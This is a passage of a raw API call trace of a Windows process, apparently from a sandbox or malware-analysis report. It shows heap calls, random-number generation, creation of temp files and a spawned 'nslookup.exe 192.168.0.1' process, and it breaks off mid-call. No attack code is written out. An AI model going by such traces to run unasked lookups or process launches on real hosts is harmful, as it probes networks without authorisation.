Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197f8 [0045.181] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.181] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90dd90 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ff98) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219cc0 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3e8 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d3f8 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d50 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d408 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dd90) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d418 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d428 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c9d8 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d438 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212d08 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d448 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212d50 [0045.182] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.182] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x50) returned 0x90dd90 [0045.183] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d458 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x50) returned 0x2219e98 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d468 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22197b0 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d478 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212d98 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d488 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212de0 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d498 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212e28 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4a8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212e70 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4b8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212eb8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4c8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212f00 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4d8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212f48 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4e8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212f90 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d4f8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2212fd8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d508 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2213020 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d518 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2213068 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d528 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22130b0 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d538 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22130f8 [0045.183] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d548 [0045.184] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2213140 [0045.184] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d558 [0045.184] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2213188 [0045.184] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d568 [0045.184] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x22131d0 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219960) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d318) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199a8) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d328) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22199f0) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d338) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219918) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d348) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22198d0) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d308) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219888) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2f8) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219840) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197f8) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219cc0) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d08) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3e8) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d50) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d3f8) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219d98) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d408) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e28) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d418) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c9d8) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d428) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212d08) returned 1 [0045.184] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d438) returned 1 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212d50) returned 1 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d448) returned 1 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d458) returned 1 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90dd90) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.185] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.185] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219de0) returned 1 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d630 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d458 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219de0 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d448 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219e28 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d438 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d98 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d428 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d50 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90ff98 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d630) returned 1 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d418 [0045.186] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x2219d08 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22197b0) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d468) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212d98) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d478) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212de0) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d488) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212e28) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d498) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212e70) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4a8) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212eb8) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4b8) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212f00) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4c8) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212f48) returned 1 [0045.186] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4d8) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212f90) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4e8) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2212fd8) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d4f8) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2213020) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d508) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2213068) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d518) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22130b0) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d528) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22130f8) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d538) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2213140) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d548) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2213188) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d558) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22131d0) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d568) returned 1 [0045.187] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2219e98) returned 1 [0045.187] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90ffc0 [0045.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22198d0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0045.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x22198d0, cbMultiByte=11, lpWideCharStr=0x90eb70, cchWideChar=11 | out: lpWideCharStr="192.168.0.1") returned 11 [0045.187] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0045.188] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0045.188] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.188] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.189] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.189] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.189] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.190] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.190] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.190] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.191] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.191] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.191] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.191] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.191] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.191] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.192] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.192] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.192] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="Qy", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\QyAFEF.tmp" (normalized: "c:\\windows\\temp\\qyafef.tmp")) returned 0xafef [0045.193] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0045.193] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\QyAFEF.tmp", lpszShortPath=0x22144f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\QyAFEF.tmp") returned 0x1a [0045.193] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0045.193] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0045.193] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ebf8 [0045.193] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x22140f0 [0045.193] CryptAcquireContextW (in: phProv=0x53f5b4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b4*=0x743fa0) returned 1 [0045.194] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c8 | out: pbBuffer=0x53f5c8) returned 1 [0045.194] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.194] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90eb70 [0045.194] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.195] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.195] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.195] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.195] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.195] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.195] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.196] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.196] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.196] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.197] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.197] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.197] CryptAcquireContextW (in: phProv=0x53f5b0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53f5b0*=0x743fa0) returned 1 [0045.198] CryptGenRandom (in: hProv=0x743fa0, dwLen=0x4, pbBuffer=0x53f5c4 | out: pbBuffer=0x53f5c4) returned 1 [0045.198] CryptReleaseContext (hProv=0x743fa0, dwFlags=0x0) returned 1 [0045.198] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="HF", uUnique=0x0, lpTempFileName=0x22140f0 | out: lpTempFileName="C:\\Windows\\TEMP\\HFAFF0.tmp" (normalized: "c:\\windows\\temp\\hfaff0.tmp")) returned 0xaff0 [0045.198] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90eb70) returned 1 [0045.198] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x400) returned 0x2214900 [0045.198] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\HFAFF0.tmp", lpszShortPath=0x2214900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\HFAFF0.tmp") returned 0x1a [0045.198] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x22140f0) returned 1 [0045.198] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90ebf8) returned 1 [0045.198] CreateFileW (lpFileName="C:\\Windows\\TEMP\\QyAFEF.tmp" (normalized: "c:\\windows\\temp\\qyafef.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150 [0045.198] CreateFileW (lpFileName="C:\\Windows\\TEMP\\HFAFF0.tmp" (normalized: "c:\\windows\\temp\\hfaff0.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x53f664, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0045.199] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 192.168.0.1", 